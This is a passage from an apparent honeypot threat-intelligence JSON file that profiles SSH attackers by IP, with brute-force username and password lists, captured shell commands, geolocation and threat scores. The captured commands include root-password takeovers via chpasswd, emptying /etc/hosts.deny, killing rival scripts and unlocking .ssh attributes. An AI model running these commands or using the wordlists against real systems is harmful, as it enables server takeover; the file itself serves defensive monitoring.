        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:7NYt3iIAfsFK\"|chpasswd|bash",
        "echo \"root:bBrGlu5Xw0mc\"|chpasswd|bash",
        "echo \"root:du8wgQmAlb68\"|chpasswd|bash",
        "echo \"vpn123\\npdXboetDbV8K\\npdXboetDbV8K\\n\"|passwd",
        "echo -e \"vpn123\\npdXboetDbV8K\\npdXboetDbV8K\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 205090,
      "as_org": "First Server Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:32:10.122000+00:00",
        "last_seen_30d": "2026-04-07T13:17:33.555000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 398,
        "Suricata": 75
      }
    },
    "183.110.63.196": {
      "attack_count": 392,
      "first_seen": "2026-04-14T06:11:47.828Z",
      "last_seen": "2026-04-23T11:09:39.576Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "git",
        "admin1234",
        "backend",
        "bot",
        "claude",
        "deploy",
        "jerry",
        "ming",
        "postgres",
        "proxyuser",
        "scanner",
        "steam",
        "stephen",
        "supporttest",
        "toor",
        "ubuntu22"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1225",
        "1234.Abcd",
        "12345678",
        "123456798",
        "1QAZ2wsx",
        "A123456!A",
        "A123456+",
        "Admin123@123",
        "Asdf1234!@#$",
        "Bot09",
        "Claude!@#$",
        "Frappe18",
        "Ftpuser2026!@#",
        "Hello@2025",
        "Login2024",
        "M3gaP33!",
        "P@ssw0rd123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ftpuser2026!@#\\nAKdEoJ0tX64G\\nAKdEoJ0tX64G\\n\"|passwd",
        "echo \"root:8bXhfk63i6bt\"|chpasswd|bash",
        "echo -e \"Ftpuser2026!@#\\nAKdEoJ0tX64G\\nAKdEoJ0tX64G\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T06:11:47.828000+00:00",
        "last_seen_30d": "2026-04-23T11:10:40.522000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 125
      }
    },
    "34.135.200.178": {
      "attack_count": 386,
      "first_seen": "2026-04-05T08:41:45.476Z",
      "last_seen": "2026-04-10T17:20:28.661Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "deploy",
        "anita",
        "builduser",
        "esuser",
        "evil",
        "frappe",
        "mattermost",
        "minecraftserver",
        "oracle",
        "postgres",
        "runner",
        "sam",
        "sammy",
        "server",
        "steam",
        "steam1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "10202540",
        "123",
        "1230",
        "123123",
        "123456.QWERTY",
        "123QWEasdZXC",
        "1qaz!QAZ123",
        "3edc#$",
        "A123456H",
        "Debian@123",
        "Frappe6",
        "Qazwsx2018!@",
        "Qwe123",
        "Qweqwe123.",
        "Qwer1234!",
        "Qwertyui1234",
        "Sammy17"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GSoudvUICpGA\"|chpasswd|bash",
        "echo \"root:P2n4ccsemJzt\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 510,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:41:45.476000+00:00",
        "last_seen_30d": "2026-04-10T17:21:37.649000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 124
      }
    },
    "116.99.173.227": {
      "attack_count": 374,
      "first_seen": "2026-04-19T22:09:03.731Z",
      "last_seen": "2026-04-19T22:35:41.714Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "support",
        "user",
        "1234",
        "anton",
        "belkinstyle",
        "bin",
        "btf",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk",
        "installer",
        "joro",
        "kim"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 528,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T22:09:03.731000+00:00",
        "last_seen_30d": "2026-04-19T22:36:42.687000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 374,
        "Suricata": 154
      }
    },
    "101.36.127.212": {
      "attack_count": 372,
      "first_seen": "2026-04-02T08:33:10.257Z",
      "last_seen": "2026-04-02T09:41:30.366Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "1234qwerasdf",
        "303030",
        "AA123456-",
        "Cloud@2026",
        "S1mt4st1c_Admin",
        "admin1234@.",
        "chat",
        "dnflskfk",
        "lst123",
        "off",
        "q1w2e3r4!@#$",
        "qazQAZ123",
        "qazwsx123@#",
        "robin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1SRrZtSmPtcy\"|chpasswd|bash",
        "echo \"root:Ay0V0EoVOpns\"|chpasswd|bash",
        "echo \"root:ayHC5Jv2iiAu\"|chpasswd|bash",
        "echo \"root:f8vS6RS3EDZ3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:33:10.257000+00:00",
        "last_seen_30d": "2026-04-02T09:42:34.069000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "186.122.177.140": {
      "attack_count": 318,
      "first_seen": "2026-04-12T00:09:39.117Z",
      "last_seen": "2026-04-12T00:54:02.225Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "dev1",
        "elasticuser",
        "ftpuser",
        "gitlab-runner",
        "manager",
        "odoo",
        "postgres",
        "steam",
        "test",
        "testftp",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1q2w3e4r5t6y",
        "5tgb!!",
        "Abcd123456!",
        "Odoo11!",
        "QWE123456789",
        "Qweasd123456",
        "Steam10",
        "ZAQ!2wsx2020!",
        "dev1",
        "elasticuser",
        "ftpuser20!",
        "gx123456",
        "mkonji",
        "postres",
        "qazwsx11111111#",
        "qqQQ111",
        "qwe123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CndIeAdZWIir\"|chpasswd|bash",
        "echo \"root:H0eUXijVMkkF\"|chpasswd|bash",
        "echo \"root:hEsckAcn7ZbR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:09:39.117000+00:00",
        "last_seen_30d": "2026-04-12T00:55:10.734000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 318,
        "Suricata": 65
      }
    },
    "171.231.187.99": {
      "attack_count": 287,
      "first_seen": "2026-04-04T10:33:06.866Z",
      "last_seen": "2026-04-04T10:58:23.166Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "*****",
        "123456",
        "admian",
        "am",
        "anton",
        "ashish",
        "backup",
        "brenda",
        "cpanel",
        "developer",
        "geral",
        "help",
        "joggler",
        "joro",
        "madrid",
        "master",
        "mms"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "*****",
        "039715582364317",
        "1",
        "123",
        "1234",
        "123456789",
        "72b1bd75ac87852a",
        "91482d",
        "?",
        "Deadstar!",
        "P@ssw0rd",
        "am",
        "anton",
        "ashish",
        "bananapi",
        "brenda",
        "calvin",
        "cisco"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 415,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T10:33:06.866000+00:00",
        "last_seen_30d": "2026-04-04T10:59:32.265000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 128
      }
    },
    "161.35.188.125": {
      "attack_count": 263,
      "first_seen": "2026-04-21T14:06:11.783Z",
      "last_seen": "2026-04-21T14:38:59.832Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "ftpuser",
        "git",
        "test",
        "test5",
        "admin",
        "ali",
        "dockeruser",
        "erick",
        "n8n",
        "testuser",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2025!",
        "!@#",
        "123",
        "1475963",
        "1q2w3e4r5t",
        "2222",
        "2345",
        "654321",
        "A123456A0871113890",
        "Admin14",
        "Ali19",
        "FtpUser",
        "Guest2025!",
        "P@ssw0rd@1",
        "abc123",
        "asd!@#",
        "erick",
        "login2025!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!@#\\nk62tusRYqpxe\\nk62tusRYqpxe\\n\"|passwd",
        "echo \"test5\\n4bs2VIBzzPDX\\n4bs2VIBzzPDX\\n\"|passwd",
        "echo -e \"!@#\\nk62tusRYqpxe\\nk62tusRYqpxe\"|passwd|bash",
        "echo -e \"test5\\n4bs2VIBzzPDX\\n4bs2VIBzzPDX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:06:11.783000+00:00",
        "last_seen_30d": "2026-04-21T14:40:09.804000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 63
      }
    },
    "80.253.249.133": {
      "attack_count": 262,
      "first_seen": "2026-04-13T23:36:47.719Z",
      "last_seen": "2026-04-14T00:11:55.356Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "claude",
        "db_user",
        "devops",
        "git",
        "luz",
        "onkar",
        "oracle",
        "plexuser",
        "postgres",
        "test",
        "test01",
        "ubuntu",
        "vikas",
        "vpn",
        "webdeploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "1q@",
        "7777",
        "Claude30!",
        "Dq@123456",
        "Oracle24",
        "Qazwsx321.",
        "Qwerty2026",
        "aaQQ112233",
        "ab123456",
        "db_user",
        "deploy123456789",
        "devops@2025",
        "luz",
        "onkar123",
        "password123456",
        "plexuser"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy123456789\\nx4xN6uAKqbAL\\nx4xN6uAKqbAL\\n\"|passwd",
        "echo \"root:ucLLWOpRNOUm\"|chpasswd|bash",
        "echo -e \"deploy123456789\\nx4xN6uAKqbAL\\nx4xN6uAKqbAL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 213702,
      "as_org": "QWINS LTD",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T23:36:47.719000+00:00",
        "last_seen_30d": "2026-04-14T00:13:04.436000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "85.192.37.109": {
      "attack_count": 262,
      "first_seen": "2026-04-03T13:38:54.185Z",
      "last_seen": "2026-04-03T14:46:33.958Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "mysql",
        "svnuser",
        "test",
        "tom",
        "worker",
        "zabbix",
        "bot",
        "debianuser",
        "deploy",
        "dev",
        "docker",
        "elsearch",
        "es",
        "esuser",
        "flask",
        "ftpuser",
        "gitlab",
        "gpadmin"
      ],
      "passwords_attempted": [
        "123456",
        "abc123",
        "!Q2w3e4r",
        "1",
        "123",
        "123321",
        "12345",
        "123qwe",
        "1Q2W3E4R",
        "1qazXSW@",
        "4e2q1w3r",
        "P@ssword",
        "aa123456",
        "admin",
        "bot",
        "deploy123",
        "docker123",
        "elsearch",
        "esuser",
        "flask123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 210644,
      "as_org": "Aeza Group LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T13:38:54.185000+00:00",
        "last_seen_30d": "2026-04-03T14:47:39.537000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 116
      }
    },
    "173.10.13.18": {
      "attack_count": 257,
      "first_seen": "2026-04-05T15:51:14.834Z",
      "last_seen": "2026-04-05T16:44:02.795Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "vpn",
        "bodega",
        "cron",
        "github",
        "gitlab",
        "tester1",
        "ts3",
        "ubuntu",
        "user1",
        "user11"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "123",
        "123.com",
        "2wsxXSW@",
        "654321",
        "Aa12345678@",
        "Ac147258",
        "BBdd111",
        "Qazwsx12345678@",
        "Qazwsx2025$",
        "Root123456!@",
        "User@2026",
        "XXqq123",
        "admin1234!@",
        "angga123",
        "bodega",
        "cardemis1",
        "github"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:91Nm3cXrqGnf\"|chpasswd|bash",
        "echo \"vpn26\\neNTOgVk66crS\\neNTOgVk66crS\\n\"|passwd",
        "echo -e \"vpn26\\neNTOgVk66crS\\neNTOgVk66crS\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Stockton",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:51:14.834000+00:00",
        "last_seen_30d": "2026-04-05T16:45:04.301000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 65
      }
    },
    "190.167.237.191": {
      "attack_count": 236,
      "first_seen": "2026-04-28T09:53:30.273Z",
      "last_seen": "2026-04-28T10:36:11.607Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jumproot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsxzxcv",
        "!qaz@wsx!qaz@wsx",
        "*********",
        "123454321",
        "1qazqweQWE",
        "77777777",
        "ABC1234",
        "HJKJHJGKHJK",
        "abcde123456",
        "bbbbbb",
        "frontal",
        "gyg0sd@GYGNBD",
        "jumproot",
        "knoppix",
        "kristin",
        "lsfadmin123456",
        "qwe555555",
        "qy123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XhQ5v9rkflfT\"|chpasswd|bash",
        "echo \"root:p8FlOC6QmtjD\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 6400,
      "as_org": "Compania Dominicana de Telefonos S. A.",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T09:53:30.273000+00:00",
